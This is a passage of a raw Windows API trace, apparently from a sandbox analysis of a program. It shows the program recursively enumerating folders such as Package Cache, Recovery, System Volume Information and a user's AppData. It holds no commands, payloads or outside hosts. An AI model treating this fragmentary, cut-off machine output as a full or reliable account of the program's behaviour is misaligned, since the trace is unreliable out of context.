lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0265.682] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.682] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.682] GetProcessHeap () returned 0x550000 [0265.682] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.682] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0265.683] GetProcessHeap () returned 0x550000 [0265.683] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0265.683] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0265.683] GetProcessHeap () returned 0x550000 [0265.683] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0265.683] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0265.732] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0266.126] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0266.245] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0266.245] GetProcessHeap () returned 0x550000 [0266.245] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0266.245] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0266.245] GetProcessHeap () returned 0x550000 [0266.245] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0266.245] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0266.246] GetProcessHeap () returned 0x550000 [0266.246] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0266.246] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0266.306] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0266.349] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0266.410] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0266.417] GetProcessHeap () returned 0x550000 [0266.417] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0266.417] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0266.418] GetProcessHeap () returned 0x550000 [0266.418] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0266.418] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0266.418] GetProcessHeap () returned 0x550000 [0266.418] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0266.418] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfaaff840, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0266.517] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0266.518] GetProcessHeap () returned 0x550000 [0266.518] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0266.518] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0266.520] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0266.520] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0266.521] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0266.521] GetProcessHeap () returned 0x550000 [0266.521] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0266.521] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0266.521] GetProcessHeap () returned 0x550000 [0266.521] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0266.521] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0266.522] GetProcessHeap () returned 0x550000 [0266.522] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0266.522] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0266.525] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0266.526] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0266.526] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0266.526] GetProcessHeap () returned 0x550000 [0266.526] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0266.527] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0266.527] GetProcessHeap () returned 0x550000 [0266.527] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0266.527] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0266.527] GetProcessHeap () returned 0x550000 [0266.527] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0266.527] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa912d270, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0266.528] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0266.528] GetProcessHeap () returned 0x550000 [0266.528] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0266.528] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcad7040, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0266.529] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0266.529] GetProcessHeap () returned 0x550000 [0266.529] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0266.529] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf93efac0, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0266.530] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0266.530] GetProcessHeap () returned 0x550000 [0266.530] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0266.530] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0266.530] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0266.531] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0266.531] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0266.531] GetProcessHeap () returned 0x550000 [0266.531] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0266.531] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0266.531] GetProcessHeap () returned 0x550000 [0266.531] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0266.531] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0266.531] GetProcessHeap () returned 0x550000 [0266.531] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0266.531] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0266.532] GetProcessHeap () returned 0x550000 [0266.532] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0266.533] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Sun\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0266.534] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Sun\\Java\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0266.536] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Sun\\Java\\Java Update\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0266.537] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0266.537] GetProcessHeap () returned 0x550000 [0266.537] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0266.537] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0266.537] GetProcessHeap () returned 0x550000 [0266.537] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0266.537] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0266.537] GetProcessHeap () returned 0x550000 [0266.537] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0266.538] FindClose (in: hFindFile=0x6396c8 | out: hFindFile=0x6396c8) returned 1 [0266.539] GetProcessHeap () returned 0x550000 [0266.539] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0266.539] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Recovery\\*", lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6396c8 [0266.618] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0266.619] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0266.619] GetProcessHeap () returned 0x550000 [0266.619] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0266.619] FindClose (in: hFindFile=0x6396c8 | out: hFindFile=0x6396c8) returned 1 [0266.619] GetProcessHeap () returned 0x550000 [0266.619] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0266.619] FindFirstFileW (in: lpFileName="\\\\?\\C:\\System Volume Information\\*", lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="咊öᦐV喠]\x80")) returned 0xffffffff [0266.619] GetProcessHeap () returned 0x550000 [0266.619] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0266.619] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\*", lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6396c8 [0266.620] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0266.620] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0266.621] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, 